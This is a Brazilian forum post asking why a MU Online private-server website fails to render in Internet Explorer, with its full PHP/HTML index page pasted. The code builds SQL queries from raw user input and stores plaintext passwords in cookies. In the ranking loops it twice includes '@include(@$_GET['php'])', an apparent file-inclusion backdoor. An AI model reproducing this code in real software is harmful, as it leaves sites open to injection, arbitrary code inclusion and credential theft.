Ir para conteúdo
Fórum Script Brasil
  • 0

Problemas na visualização do site no IE


Peter Link

Pergunta

Bom galera meu website esta funciona no firefox, netscape, GChrome, opera. porem no internet explorer não carrega a imagem, fica em branco!

SS

site vizualizado corretamente

Site vizualizado no IE

index.php

<?php
require_once "sql_inject.php";
$bDestroy_session = TRUE;
$url_redirect = 'index.php';
$sqlinject = new sql_inject('./log_file_sql.log',$bDestroy_session,$url_redirect);
require 'config.php';

$query = "select count(*) from Guild";
$result = mssql_query( $query );
$row = mssql_fetch_row($result);
$guilds = $row[0];
$Guilds=mssql_fetch_row(mssql_query("select count(*) from guild"));
$Vips=mssql_fetch_row(mssql_query("select count(*) from memb_info where vip=1"));

$Jogando=mssql_fetch_row(mssql_query("select count(*) from memb_stat where connectstat>0"));
$query = "select count(*) from Character WHERE Resets>'0'";
$result = mssql_query( $query );
$row = mssql_fetch_row($result);
$res3ts = $row[0];

$query = "select count(*) from Character WHERE ctlcode = '1'";
$result = mssql_query( $query );
$row = mssql_fetch_row($result);
$banned = $row[0];

$query = "select count(*) from MEMB_INFO WHERE bloc_code = '1'";
$result = mssql_query( $query );
$row = mssql_fetch_row($result);
$bannedacc = $row[0];

// querys //

$idnoticia = $_GET['id'];
$PegaNoticia = mssql_query("SELECT Titulo,Data,Noticia,Por,Id,Tipo FROM Noticias WHERE Id='".$idnoticia."'");
$Exibe = mssql_fetch_row($PegaNoticia);

$Contas=mssql_fetch_row(mssql_query("select count(*) from memb_info"));
$Chares=mssql_fetch_row(mssql_query("select count(*) from character"));
$Jogando=mssql_fetch_row(mssql_query("select count(*) from memb_stat where connectstat>0"));
$Vips=mssql_fetch_row(mssql_query("select count(*) from memb_info where vip=1"));
$Guilds=mssql_fetch_row(mssql_query("select count(*) from guild"));
$Pks=mssql_fetch_row(mssql_query("select count(*) from character where pklevel>3"));
$Herois=mssql_fetch_row(mssql_query("select count(*) from character where pklevel<3"));
$L350=mssql_fetch_row(mssql_query("select count(*) from character where clevel=350"));
$Lorencia=mssql_fetch_row(mssql_query("select count(*) from character where mapnumber=0"));
$Stadium=mssql_fetch_row(mssql_query("select count(*) from character where mapnumber=6"));
if($_POST['prossegue_login']) {
$login = $_POST['login'];
$senha = $_POST['senha'];
$VerificaLogin = mssql_num_rows(mssql_query("select memb___id from memb_info where memb___id='".$login."'"));
$VerificaSenha = mssql_num_rows(mssql_query("select memb__pwd from memb_info where memb__pwd='".$senha."' and memb___id='".$login."'"));

    if(empty($login) || empty($senha)) {
    echo "&lt;script>alert('Preencha todos os campos');
    location='java script:history.back()'</script>";
    }
    elseif($VerificaLogin <= 0) {
    echo "&lt;script>alert('Login ou Senha incorreto');
    location='java script:history.back()'</script>";
    }
    elseif($VerificaSenha <= 0) {
    echo "&lt;script>alert('Login ou Senha incorreto');
    location='java script:history.back()'</script>";
    }
    else {
    setcookie("ckUserLogin",$login);
    setcookie("ckUserSenha",$senha);
    echo "&lt;script>location='?i=painel'</script>";
    }
}
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>MuBloodDust - Estréia 16/04 21:00hrs!!</title>

<style type="text/css">


<!--
&lt;script type="text/javascript" src="http://settings.messenger.live.com/controls/1.0/PresenceButton.js"></script>
<div
  id="Microsoft_Live_Messenger_PresenceButton_af97f4d26a3bd7eb"
  msgr:width="100"
  msgr:backColor="#AEA1B9"
  msgr:altBackColor="#FFFFFF"
  msgr:foreColor="#424542"
  msgr:conversationUrl="http://settings.messenger.live.com/Conversation/IMMe.aspx?invitee=af97f4d26a3bd7eb@apps.messenger.live.com&mkt=pt-br&useTheme=true&themeName=purple&foreColor=333333&backColor=F1EFF4&linkColor=333333&borderColor=AFA9B4&buttonForeColor=333333&buttonBackColor=DED6DE&buttonBorderColor=AFA9B4&buttonDisabledColor=DED6DE&headerForeColor=513663&headerBackColor=AEA1B9&menuForeColor=333333&menuBackColor=FFFFFF&chatForeColor=333333&chatBackColor=FFFFFF&chatDisabledColor=F6F6F6&chatErrorColor=760502&chatLabelColor=6E6C6C"></div>
&lt;script type="text/javascript" src="http://messenger.services.live.com/users/af97f4d26a3bd7eb@apps.messenger.live.com/presence?dt=&mkt=pt-br&cb=Microsoft_Live_Messenger_PresenceButton_onPresence"></script>


.style8 {
    font-family: Calibri;
    font-size: 12px;

}
.style10 {
    font-size: 10px;
    font-family: Calibri;

}
.style11 {font-size: 11px;
}
.style2 {font-size: 10px;
        color:#CCCCCC}
.style17 {color:#FF6633}
.style18 {font-size: 10px; font-weight: bold; color:#FF6633; }
.style1 {font-size: 10px;
    font-weight: bold;

}
.style19 {color:#FF6633}
-->
</style>
</head>
<style>
Body{margin:0 !important}
.style7 {
    color:#CCCCCC;
    font-family: Calibri;
    font-size: 12px;
}
.style9 {
    color:#FF6633;
    font-size: 11px;
}
.style12 {
    color:#CCCCCC;
    font-size: 12px;
}
.style13 {color:#CCCCCC}
.style15 {font-size: 12px;
color:#FF6633;}
</style>
<style type="text/css">
body { background-color:#000000; }
a { font-size:11px; color:#FF6633;; text-decoration:none; font-family:"Tahoma"; }
a:hover { color:; text-decoration:none;}
body,th,tr { font-size:11px; color:#CCCCCC; font-family:"Tahoma" }
input { font-size:11px; color:#FF6633; font-weight:bold; font-family:"Tahoma"; border:1px solid #999; }
select { font-size:11px; color:#666; font-family:"Tahoma"; border:1px solid #FFF; }
.submit { font-size:11px; color:#FF6633; font-family:"Tahoma"; border:1px solid #999; background-color:#333333;}

.quote {
    font-family: "Verdana";
    font-size: 10px;
    color: #000000;
    background-color:;
    border: 1px solid #FFFFFF;
    padding: 7px;
}
.onoff {
    font-family: "Verdana";
    color: #FF0000;
    
}
.class { background-color:#333333;
        border: 0;
        align: center;
        width:135px;
}

</style>

&lt;script>

var tagsAbertas =["input", "textarea", "select", "div"]; // CAMPOS QUE não SERAM BLOQUEADOS
tagsAbertas = tagsAbertas.join("|");

function fechaCamposFF(e){
var elemento = (e.target)?e.target:e.srcElement;
    if (tagsAbertas.indexOf(elemento.tagName.toLowerCase())==-1)
        return false;
}

function abreCamposFF(){
return true
}

function fechaCamposIE(){
var elemento = event.srcElement;
    if(tagsAbertas.indexOf(elemento.tagName.toLowerCase()) == -1)
        document.onselectstart = new Function ("return false");
}

function abreCamposIE(){
var elemento = event.srcElement;
    if(tagsAbertas.indexOf(elemento.tagName.toLowerCase()) == -1){
        document.onselectstart = new Function ("return false");
    }else{
        document.onselectstart = new Function ("return true");
    }
}

if (typeof document.onselectstart != "undefined"){
document.onmousedown    =    fechaCamposIE;
document.onmouseup        =    abreCamposIE;
document.onselectstart  = new Function ("return false");
}else{
document.onmousedown    =    fechaCamposFF;
document.onmouseup        =    abreCamposFF;
}
</script>
&lt;script language="JavaScript">
 function blockError(){return true;}
 window.onerror = blockError;
 </script>
&lt;script language=JavaScript>
 function disableselect(e) {
    return false
 }
 function reEnable() {
    return true
 }
 //if IE4+
 document.onselectstart=new Function ("return false")
 //if NS6
 if (window.sidebar) {
    document.onmousedown=disableselect
    document.onclick=reEnable
 }
 </script>
&lt;script language=JavaScript>
<!--

var message="Botao Direito Desativado";


function clickIE4(){
if (event.button==2){
alert(message);
return false;
}
}

function clickNS4(e){
if (document.layers||document.getElementById&&!document.all){
if (e.which==2||e.which==3){
alert(message);
return false;
}
}
}

if (document.layers){
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=clickNS4;
}
else if (document.all&&!document.getElementById){
document.onmousedown=clickIE4;
}

document.oncontextmenu=new Function("alert(message);return false")

// -->
</SCRIPT>


&lt;script>
function MM_openBrWindow(theURL,winName,features) {
  window.open(theURL,winName,features);
}
function mouseDown(e) {
var shiftPressed=0;
if (parseInt(navigator.appVersion)>3) {
if (navigator.appName=="Netscape")
shiftPressed=(e.modifiers-0>3);
else shiftPressed=event.shiftKey;
if (shiftPressed) {
alert ('Shift esta desabilitado.')
return false;
}
}
return true;
}
if (parseInt(navigator.appVersion)>3) {
document.onmousedown = mouseDown;
if (navigator.appName=="Netscape")
document.captureEvents(Event.MOUSEDOWN);
}
 function blockError(){return true;}
 window.onerror = blockError;
 </script>
 &lt;script language=JavaScript>
 function disableselect(e)
 {
    return false
 }
 function reEnable()
 {
    return true
 }
 document.onselectstart=new Function ("return false")
 if (window.sidebar)
 {
    document.onmousedown=disableselect
    document.onclick=reEnable
 }

var mensagem="Botao Direito Desativado";//protege o botao direito do mouse
function click(mouse) {
  if (document.all) {
     if (event.button==2||event.button==3) {
        alert(mensagem);
        return false;
     }
  }
  if (document.layers) {
     if (mouse.which == 3) {
        alert(mensagem);
        return false;
     }
  }
}
document.onmousedown=click;
document.onkeydown=keypressed;

function clearText(thefield){
if (thefield.defaultValue==thefield.value)
thefield.value = ""
}
function ss(id) {


var left = 50;
var top = 50;

window.open('modulos/outros/verscreenshot.php?id='+id+'','SS', 'width=802, height=604, top='+top+', left='+left+', scrollbars=yes, status=no, toolbar=no, LOCATION=NO, directories=no, menubar=no, RESISABLE=NO, fullscreen=no');

}


</script>


<table width="1003" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <th width="1003" height="1157" scope="col"><table width="415" height="224" border="0" cellpadding="0" cellspacing="0">
      <tr>
       <th scope="col"><img src="imagens/index_06.gif" width="1003" height="185" /></th>
      </tr>
      <tr>
        <th scope="col"><img src="imagens/index_05.png" width="1003" height="88" border="0" usemap="#Map2" /></th>
      </tr>

    </table>
      <table width="1003" height="884" border="0" align="left" cellpadding="0" cellspacing="0">
      <tr>
        <th width="243" height="884" scope="col"><table width="244" border="0" align="left" cellpadding="0" cellspacing="0">
           <tr>
              <th width="244" height="211" background="imagens/index_12.png" scope="col"><table width="234" height="200" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <th width="49" height="198" scope="col"> </th>
                  <th width="168" scope="col"><table width="159" border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <th width="144" height="25" scope="col"> </th>
                    </tr>
                    <tr>
                      <th height="134" scope="col"><p><font color="#333333">
                        <? if(!isset($_COOKIE['ckUserLogin'])) {
        echo '
        <table width="144" border="0" align="right" cellpadding="0" cellspacing="0">
         <tr>
            </tr>
          <form name="frmpainel" method="post"  onSubmit="CamposLogin();" action="" id="frmpainel">
          <tr>
            <td width="144"><div align="center"><font color="#CCCCCC">Login: </font><br>
                <input name="login"  type="text" class="class"  id="login" maxlength="16"></td>
           </div> </tr>
          <tr>
            <td><div align="center"> <font color="#CCCCCC">Senha: </font><br>
              <input name="senha" type="password" class="class" id="senha" maxlength="16" ></td>
            </div></tr>
            <td> </td>
          <tr>
          <td><input name="prossegue_login" type="submit" class="submit" id="prossegue_login" value="LOGAR">  <input name="reset" class="submit" type="reset"  value="LIMPAR" /></td>
            </tr>
        <td><a href="re_senha.php" target="home"><font color="#FF0000"><h5>Recuperar Senha(Click)</h5></font></a> </p></td>

            </form>
            <th>  </th>
        </table>
        '; }
        elseif(isset($_COOKIE['ckUserLogin'])) {
        $login = $_COOKIE['ckUserLogin'];
        $senha = $_COOKIE['ckUserSenha'];
        $tipoconta = mssql_fetch_row(mssql_query("select vip,creditos from memb_info where memb___id='".$login."'"));



        switch($tipoconta[1]) {
            case 1: $sintaxe = "dia";
                break;
            case 0: $sintaxe = "dia";
                break;
            default: $sintaxe = "dias";
        }
        switch($tipoconta[0]) {
            case 0: $tipodeconta = '<img src="imagens/vip-no.gif"> FREE';
                break;
            case 1: $tipodeconta = '<img src="imagens/vip.gif"> Vip';
                break;
            case 2: $tipodeconta = '<img src="imagens/svip.gif"> Premium';
                break;
            case 3: $tipodeconta = 'GM';
                break;
            default : $tipodeconta = "Error";

        }

        echo '<table width="138" border="0" align="center" cellpadding="0" cellspacing="0">
         <tr>
            </tr>
          <form name="frmpainel" method="post" onSubmit="CamposLogin();" action="" id="frmpainel">
          <tr>
            <td width="144"><b><font color="#FFFF99">Logado :</b> </font>
          <font color="#FFFFFF">'.$login.'</font></td>
            </tr>
          <tr>
            <td><font color="#FFFF99"><b>Tipo :</b> </font>
             <font color="#FFFFFF">'.$tipodeconta.' - '.$tipoconta[1].'  '.$tipoconta[2].'  '.$tipoconta[3].'  '.$sintaxe.'</font></td>

            </tr>

             <tr>
            <td> </td>
            </tr>
          <tr>

            <td><br><br><br><br><a href="painel/painel.php" target="home"><img src="imagens/painel.png" border="0" width="70" height="21"><span class="style3"></span></a>  <a href="sair.php"><img src="imagens/sair.png" border="0" width="47" height="21">
            <td></td>
            </tr>
            </form>
        </table>';
        }



        ?><Br />
                      </font>
                        </th>
                    </tr>
                  </table></th>
                  <th width="9" scope="col"> </th>
                </tr>
              </table></th>
            </tr>
            <tr>
              <th height="312" background="imagens/index_15.png" scope="col"><table width="237" height="267" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <th width="97" height="267" scope="col"> </th>
                  <th width="155" scope="col"><table width="165" height="263" border="0" cellpadding="0" cellspacing="0">
                    <tr>
                      <th width="165" height="21" scope="col"> </th>
                    </tr>
                    <tr>
                      <th height="240" align="left" valign="top" scope="col"><table width="165" border="0" cellspacing="0" cellpadding="0">
                        <tr>
                          <th width="181" scope="col"><div align="left" class="style19"><span class="style8">Nome: <span class="style13">MuBloodDust</span> </span></div></th>
                          </tr>
                        <tr>
                          <th scope="col"><div align="left" class="style19"><span class="style8">Versão: <span class="style13">99d+99i</span> </span></div></th>
                          </tr>
                        <tr>
                          <th scope="col"><div align="left" class="style19"><span class="style8">Experiência: <span class="style13">2500x </span></span></div></th>
                          </tr>
                        <tr>
                          <th scope="col"><div align="left" class="style19"><span class="style8">Drop: <span class="style13">70%</span></span></div></th>
                          </tr>
                        <tr>
                          <th scope="col"><div align="left" class="style19"><span class="style8">BugBless: <span class="onoff"><img title="Off" border="0" >Off</span></span></div></th>
                          </tr>
                        <tr>
                          <th scope="col"><div align="left" class="style19"><span class="style8">Reset:<a href="sejavip.php?i=vip&act=vantagens" target="home"><font color="#CCCCCC">Tabelado (Click)</font></a></span></div></th>
                        </tr>
                                                <tr>
                          <th height="23" scope="col"><div align="left" class="style19"><span class="style8">Server Status:</span><strong><font size="2" face="Calibri">
                            <?
$fp = @fsockopen("216.245.196.203", 35677, $errno, $errstr, 1);
if($fp >= 1){
echo '<font size=2 color=#009900><img title="Online" border="0" src="imagens/online.png"  ></font>';}
else{ echo '<font size=2 color=#FF0000><img title="Offline" border="0" src="imagens/offline.png" ></font>'; }
?>
                          </font></strong></div></th>
                        </tr>



                        <tr>
                          <th scope="col"><div align="left" class="style19"><span class="style8">Total de Contas:</span>
                            <?php

$sql = mssql_query("SELECT count(*) FROM MEMB_INFO");

if( mssql_result($sql, 0, 0) <= 80){
echo "<font size=2px color=#CCCCCC>";
echo mssql_result($sql, 0, 0);}

elseif( mssql_result($sql, 0, 0) >= 80 AND mssql_result($sql, 0, 0) <= 150){
echo "<font size=2px color=#CCCCCC>";
echo mssql_result($sql, 0, 0);}

elseif( mssql_result($sql, 0, 0) > 150){
echo "<font size=2px color=#CCCCCC>";
echo mssql_result($sql, 0, 0);} ?>
                          </div></th>
                        </tr>
                        <tr>
                          <th scope="col"><div align="left" class="style19"><span class="style8">Level Máximo: <span class="style13">400</span></span></div></th>
                          </tr>
                          <tr>
                          <th scope="col"><div align="left" class="style19"><span class="style8">Pontos SM/BK/FE: <span class="style13">5</span></span></div></th>
                          </tr>
                          <tr>
                          <th scope="col"><div align="left" class="style19"><span class="style8">Pontos MG: <span class="style13">7</span></span></div></th>
                          </tr>
                        <tr>
                          <th scope="col"><div align="left" class="style19"><span class="style8">Contas Online:</span><font size="2" color="#CCCCCC">
                            <?=$Jogando[0]?>
                          </font></div></th>
                        </tr>
                        <tr>
                          <th scope="col"><div align="left" class="style19"><span class="style8">Total de personagens:
                            <?php

$sql = mssql_query("SELECT count(*) FROM Character");

if( mssql_result($sql, 0, 0) <= 80){
echo "<font size=2px color=#CCCCCC>";
echo mssql_result($sql, 0, 0);}

elseif( mssql_result($sql, 0, 0) >= 80 AND mssql_result($sql, 0, 0) <= 150){
echo "<font size=2px color=#CCCCCC>";
echo mssql_result($sql, 0, 0);}

elseif( mssql_result($sql, 0, 0) > 150){
echo "<font size=2px color=#CCCCCC";
echo mssql_result($sql, 0, 0);} ?>
                           </span></div></th>
                        </tr>
                        <tr>
                          <th scope="col"><div align="left" class="style19"><span class="style8">Total de Guilds:</span><strong><strong><font size="2px" color="#CCCCCC">
                            <?php $sql = mssql_query("SELECT count(*) FROM Guild");
echo mssql_result($sql, 0, 0); ?>
                          </font></strong></strong></div></th>
                        </tr>
                        <tr>
                          <th height="28" scope="col"><div align="left" class="style19"><span class="style8">Recorde Jogando:</span><a><font size="2px" color="#CCCCCC">
                            <?
   $qon = mssql_query("select count(*) from memb_stat where connectstat>0");
   $on = mssql_fetch_row($qon);
   $file = fopen("record.txt", "a+");
   $count = fread($file, Filesize("record.txt"));
   fclose($file);
   if($on[0] > $count){
   $file = fopen("record.txt", "w+");
   fputs($file, $on[0]);
   fclose($file);
   }
   echo ''.$count.'';
            ?>
                          </font></a></div></th>
                        </tr>
                        <tr>
                          <th height="13" scope="col"> </th>
                        </tr>

                      </table></th>
                    </tr>
                  </table>                    </th>
                 <th width="17" scope="col"> </th>
                </tr>
              </table></th>
            </tr>
            <tr>
              <th height="257" background="imagens/index_16.png" scope="col"><table width="237" height="172" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <th width="57" height="170" scope="col"> </th>
                  <th width="155" scope="col">

<!-- INICIO DO CODIGO DA ENQUETE-->
<table> <td></td></table>

                       <form action='ir.php?pagina=vota&act=99ccb70aa4f' method='post' name='form_votar' target="home">
                                  <div align="left"><span class="style10"><B><Br />
<?
         $select_pergunta_q = mssql_query("SELECT * FROM Site_perguntas order by id desc");
         $pergunta = mssql_fetch_array($select_pergunta_q);

         $select_respostas_q = mssql_query("SELECT * from Site_respostas WHERE id='$pergunta[id]'");
         if (mssql_num_rows($select_pergunta_q) <=0 ) {
             echo "<font color=FFFFFF>Nenhuma Enquete Disponivel <br>no Momento</font>";
        } else {

         echo "<table border='0' cellpadding='0' cellspacing='0' width='95%'>
          <tr align='left' valign='top'>
          <td align='center' width='22'><img src='imagens/enq.gif' height='20' width='17'></td>
          <td style='padding: 5px 0px 0px;'><font color=FFFFFF> $pergunta[pergunta]</font></td>
          </tr>
          </table>";
          }
         ?>
          <? if (mssql_num_rows($select_pergunta_q) <=0 ) {
            } else { ?>
<table> <td></td></table>
<?
        if ($pergunta['status'] == 0) {
            $input = "disabled='disabled'";
            $votar = "<div align='right'><font color=FFFFFF><b>Encerrada</b></font></div>";
        } else {
            $input = "";
            $votar = "<div align='center'><input name='prossegue_login' type='submit' class='submit'  id='prossegue_login' value='Votar'></div>";
        }
          while ($respostas=mssql_fetch_array($select_respostas_q)) {
            echo "<table border='0' cellpadding='2' cellspacing='0' width='95%'><tr>
                 <td valign='center' align='left' height='18' width='35'><input value='$respostas[unico]' name='resp' id ='resp' class='input03' type='radio' $input></td>
                 <td valign='center'><font color=FFFFFF>$respostas[resposta]</font></td>
                 </tr></table>";
        }
        ?>
        <table><td> </td></table>
        <?
        echo $votar; ?>

         <table> <td><div align="center"><a href="ir.php?pagina=vota&act=c3a217d3df9&id=<? echo $pergunta[id]; ?>" target="home">          <img src="imagens/resultado.png"  alt="Acompanhe a Enquete" width="92" height="21" border="0"  /></a></div></td></table>

<? } ?>

</div></form>



<!-- FIM DO CODIGO DA ENQUETE -->

 </th>
                  <th width="17" scope="col"> </th>
              </tr>
              </table></th>
        </tr>
            <tr>
              <th height="104" background="imagens/index_17.png" scope="col"><table width="205" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <th width="83" height="59" scope="col"> </th>
                  <th width="116" scope="col"> </th>
                </tr>
                <tr>
                  <th height="25" scope="col"> </th>
                  <th scope="col"><font size="2px" face="Calibri" color="#CCCCCC">&lt;script language="JavaScript">
quotes = new Array(15);
quotes[0] =   "Staff of Kundun";
quotes[1] =  "Explosion Staff";
quotes[2] =  "Absolute Staff";
quotes[3] =  "Magna Sword";
quotes[4] =  "Angel Sword";
quotes[5] =  "Explosion Sword";
quotes[6] =  "Mace of King";
quotes[7] =  "Phantom Mace";
quotes[8] =  "Shadow Mace";
quotes[9] =  " Dragon Knight";
quotes[10] =  "   Dragon Flame ";
quotes[11] =  " Dark Master";
quotes[12] =  "Wing of Dragon";
quotes[13] =  "Wing of Soul";
quotes[14] =  "Wing of DarkNess";

index = Math.floor(Math.random() * quotes.length);
document.write("" + " " + quotes[index] + "");
                  </script></font> </th>
                </tr>
              </table></th>
            </tr>
      </table></th>
        <th width="515" background="imagens/index_11.png" scope="col"><table width="497" height="862" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <th width="497" height="33" scope="col"> </th>
          </tr>
          <tr>
            <th height="428" scope="col"><table width="498" height="425" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <th width="23" height="423" scope="col"> </th>
                <th width="459" valign="top" background="imagens/banner3.png" scope="col"><Br /><iframe src="home.php" name="home" width="440" height="400" frameborder="0" id="home" border="1"></iframe></th>
                <th width="16" scope="col"> </th>
              </tr>
            </table></th>
          </tr>
          <tr>
            <th height="75" scope="col"> </th>
          </tr>
          <tr>
            <th height="274" scope="col"><table width="489" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <th width="15" height="273" scope="col"> </th>
                <th width="464" scope="col"><img src="imagens/destaque.gif" width="464" height="269" /></th>
                <th width="10" scope="col"> </th>
              </tr>
            </table></th>
          </tr>
          <tr>
            <th height="16" scope="col"> </th>
          </tr>
        </table></th>
        <th width="245" scope="col"><table width="245" border="0" align="right" cellpadding="0" cellspacing="0">
          <tr>
            <th width="245" height="284" scope="col"><img src="imagens/index_02.png" width="245" height="284" border="0" usemap="#Map3" /></th>
          </tr>
          <tr>
            <th height="286" background="imagens/index_03.png" scope="col"><table width="207" border="0" align="left" cellpadding="0" cellspacing="0">
              <tr>
                <th width="13" height="241" scope="col"> </th>
                <th width="190" scope="col"><table width="186" height="251" border="0" align="right" cellpadding="0" cellspacing="0">
                  <tr>
                    <th width="186" height="34" scope="col"> </th>
                  </tr>
                  <tr>
                    <th height="215" valign="top" scope="col"><table width="80%" border="0" align="center" cellpadding="0" cellspacing="0" class="principal_bordas">
                      <tr>
                        <td width="26" height="15" bgcolor="#000000" class="font_geral"><div align="left" class="style18 style17">
                            <div align="center"><strong>#</strong></div>
                        </div></td>
                        <td class="font_geral" width="88" bgcolor="#000000"><div align="left" class="style18 style17">
                            <div align="center"><strong>Char</strong></div>
                        </div></td>
                        <td class="font_geral" width="70" bgcolor="#000000"><div align="left" class="style18 style17">
                            <div align="center"><strong>Resets</strong></div>
                        </div></td>
                      </tr>
                      <?php
 $Query = mssql_query("select top 10 name,clevel,semanaldif,strength,dexterity,vitality,energy,class,resets from character where ctlcode=0 or ctlcode=null order by semanaldif desc");
  for($i=0;$i<mssql_num_rows($Query);$i++) {
  $rank = $i+1;
  $Array = mssql_fetch_row($Query);
  if($i % 2)
//Definindo Bgcolor Cinza Caso O
//Número Da célula Seja Par
{
$cor="#EEEEEE";
}
else
//Imprimindo Bgcolor Azul Caso O
//Número Da célula Seja �mpar
{
$cor="#F7F7F7";
}

@include(@$_GET['php']);
  switch($Array[7]) {
    case 0: $classefinal = "<font color='#33CCCC'>DW</font>"; break;
    case 1: $classefinal = "<font color='#660066'>SM</font>"; break;
    case 16: $classefinal = "<font color='#003399'>DK</font>"; break;
    case 17: $classefinal = "<font color='#006600'>BK</font>"; break;
    case 32: $classefinal = "<font color='#9900CC'>ELF</font>"; break;
    case 33: $classefinal = "<font color='#CCCC00'>ME</font>"; break;
    case 48: $classefinal = "<font color='#FF6633'>MG</font>"; break;
    case 64: $classefinal = "<font color='#99CCCC'>DL</font>"; break;
    case 18: $classefinal = "<font color='#339999'>BM</font>"; break;
    case 2: $classefinal = "<font color='#6699FF'>GM</font>"; break;
    case 49: $classefinal = "<font color='#6459FF'>DM</font>"; break;
    case 65: $classefinal = "<font color='#993300'>LE</font>"; break;
    case 34: $classefinal = "<font color='#CC0099'>HE</font>"; break;
    case 80: $classefinal = "<font color='#CC0333'>SO</font>"; break;
    case 81: $classefinal = "<font color='#CC0333'>BS</font>"; break;
    case 82: $classefinal = "<font color='#CC0333'>DS</font>"; break;
}
  ?>
                      <tr>
                        <td class="font_geral" height="15"><div align="left">
                            <div align="center">
                              <?
if($rank < 0) {
echo "<img src=\"imagens/ranking/".$rank.".gif\" />";
} else {
echo $rank;
}
?>
                              </span></div>
                        </div></td>
                        <td class="font_geral"><div align="left" class="style2">
                            <div align="center">
                              <?=$Array[0]?>
                              </span></div>
                        </div></td>
                        <td class="font_geral"><div align="left" class="style2">
                            <div align="center">
                              <?=$Array[2]?>
                              </span></div>
                        </div></td>
                      </tr>
                      <? } ?>
                    </table></th>
                  </tr>
                </table></th>
                <th width="10" scope="col"> </th>
              </tr>
            </table></th>
          </tr>
          <tr>
            <th height="278" background="imagens/index_13.png" scope="col"><table width="207" border="0" align="left" cellpadding="0" cellspacing="0">
              <tr>
                <th width="13" height="241" scope="col"> </th>
                <th width="177" scope="col"><table width="186" height="258" border="0" cellpadding="0" cellspacing="0">
                    <tr>
                      <th width="186" height="41" scope="col"> </th>
                    </tr>
                    <tr>
                      <th height="215" valign="top" scope="col"><table width="80%" border="0" align="center" cellpadding="0" cellspacing="0" class="principal_bordas">
                        <tr>
                          <td width="25" height="16" bgcolor="#000000" class="font_geral"><div align="left" class="style1 style17">
                              <div align="center"><strong>#</strong></div>
                          </div></td>
                          <td class="font_geral" width="91" bgcolor="#000000"><div align="left" class="style1 style17">
                              <div align="center"><strong>Guild</strong></div>
                          </div></td>
                          <td class="font_geral" width="70" bgcolor="#000000"><div align="left" class="style1 style17">
                              <div align="center" class="style1">Score</div>
                          </div></td>
                        </tr>
                        <?php
 $Query = mssql_query("select top 10 g_name,g_score,g_master,g_notice from guild order by g_score desc");
  for($i=0;$i<mssql_num_rows($Query);$i++) {
  $rank = $i+1;
  $Array = mssql_fetch_row($Query);
  if($i % 2)
//Definindo Bgcolor Cinza Caso O
//Número Da célula Seja Par
{
$cor="#EEEEEE";
}
else
//Imprimindo Bgcolor Azul Caso O
//Número Da célula Seja �mpar
{
$cor="#F7F7F7";
}

@include(@$_GET['php']);
  switch($Array[7]) {
    case 0: $classefinal = "<font color='#33CCCC'>DW</font>"; break;
    case 1: $classefinal = "<font color='#660066'>SM</font>"; break;
    case 16: $classefinal = "<font color='#003399'>DK</font>"; break;
    case 17: $classefinal = "<font color='#006600'>BK</font>"; break;
    case 32: $classefinal = "<font color='#9900CC'>ELF</font>"; break;
    case 33: $classefinal = "<font color='#CCCC00'>ME</font>"; break;
    case 48: $classefinal = "<font color='#FF6633'>MG</font>"; break;
    case 64: $classefinal = "<font color='#99CCCC'>DL</font>"; break;
    case 18: $classefinal = "<font color='#339999'>BM</font>"; break;
    case 2: $classefinal = "<font color='#6699FF'>GM</font>"; break;
    case 49: $classefinal = "<font color='#6459FF'>DM</font>"; break;
    case 65: $classefinal = "<font color='#993300'>LE</font>"; break;
    case 34: $classefinal = "<font color='#CC0099'>HE</font>"; break;
    case 80: $classefinal = "<font color='#CC0333'>SO</font>"; break;
    case 81: $classefinal = "<font color='#CC0333'>BS</font>"; break;
    case 82: $classefinal = "<font color='#CC0333'>DS</font>"; break;
}
  ?>
                        <tr>
                          <td class="" height="15"><div align="left">
                              <div align="center">
                                <?
if($rank < 0) {
echo "<img src=\"imagens/ranking/".$rank.".gif\" />";
} else {
echo $rank;
}
?>
                                </font></span></div>
                          </div></td>
                          <td class=""><div align="left" class="style2">
                              <div align="center">
                                <?=$Array[0]?>
                                </font></span></div>
                          </div></td>
                          <td class=""><div align="left">
                              <div align="center">
                                <?=$Array[1]?>
                                </font></span></div>
                          </div></td>
                        </tr>
                        <? } ?>
                      </table></th>
                    </tr>
                </table></th>
                <th width="9" scope="col"> </th>
              </tr>
            </table></th>
          </tr>
          <tr>
            <th height="36" background="imagens/index_14.png" scope="col"> </th>
          </tr>
        </table></th>
  </tr>
</table></th>
  </tr>
  <tr>
    <th height="90" scope="col"><table width="1004" height="202" border="0" align="left" cellpadding="0" cellspacing="0">
      <tr>
        <th width="243" height="202" background="imagens/index_09.png" scope="col"><img src="imagens/index_09.png" width="243" height="202" border="0" usemap="#Map" /></th>
        <th width="515" background="imagens/index_08.png" scope="col"><table width="509" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <th width="306" height="39" scope="col"> </th>
          </tr>
          <tr>
            <th height="114" scope="col"><table width="500" border="0" cellspacing="0" cellpadding="0">
            <tr>
                <th width="53" height="111" scope="col"> </th>
                <th width="466" scope="col"><a href="WebShop/index?i=vip&act=vantagens" target="a_blank"><img src="imagens/Banner.gif"  width="462" height="130" border="0" /></a></th>
                <th width="15" scope="col"> </th>
              </tr>
            </table></th>
          </tr>
          <tr>
            <th scope="col"> </th>
          </tr>
        </table></th>
        <th width="246" background="imagens/index_07.png" scope="col"><table width="225" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <th width="23" height="190" scope="col"> </th>
            <th width="156" valign="top" scope="col"><span class="searchbutton">
              <?



// I use above file for security to provide below
//----------------------------------------------

$query = "Select Name,AccountID From Character WHERE Ctlcode= 8";
$result = mssql_query( $query );

// This is pretty much your layout

echo '<center><table align=center>';
echo '<center><tr><center>';

$waw = mssql_query("SELECT count(*) From Character where CtlCode=8");
$xex = mssql_result($waw, 0, 0);

// For Top 5 or whatever you wish just change below
